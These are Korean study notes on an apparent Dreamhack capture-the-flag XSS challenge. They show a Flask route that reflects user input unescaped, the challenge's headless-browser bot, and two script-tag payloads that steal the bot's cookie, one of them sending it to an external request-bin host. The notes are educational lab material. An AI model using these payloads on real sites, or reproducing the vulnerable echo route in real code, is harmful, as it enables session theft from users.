이용자가 입력한 값을 그대로 페이지에 출력하는 경우
@app.route("/vuln")
def vuln():
param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져옴
return param # 이용자의 입력값을 화면 상에 표시
location.href
: 전체 URL 반환하거나, URL 업데이트를 할 수 있는 속성값
document.cookie
: 해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성값
flag 엔드포인트에서 다음과 같은 익스플로잇 코드 입력
-> memo 엔드포인트에서 임의 이용자의 쿠키 정보 확인 가능
<script>location.href = "/memo?memo=" + document.cookie;</script>
이용자의 접속 기록을 저장하는 외부에서 접근 가능한 웹 서버에서
flag 기능에서 다음과 같은 익스프로잇 코드 입력
-> 접속 기록에 포함된 FLAG 확인 가능
<script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script>
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
전달된 템플릿 변수를 HTML 엔티티코드로 변환해 저장
@app.route('/memo') # memo 페이지 라우팅
def memo(): # memo 함수 선언
global memo_text # 메모를 전역변수로 참조
text = request.args.get('memo', '') # 사용가 전송한 memo 입력값을 가져옴
memo_text += text + '\n' # 사용가 전송한 memo 입력값을 memo_text에 추가
return render_template('memo.html', memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력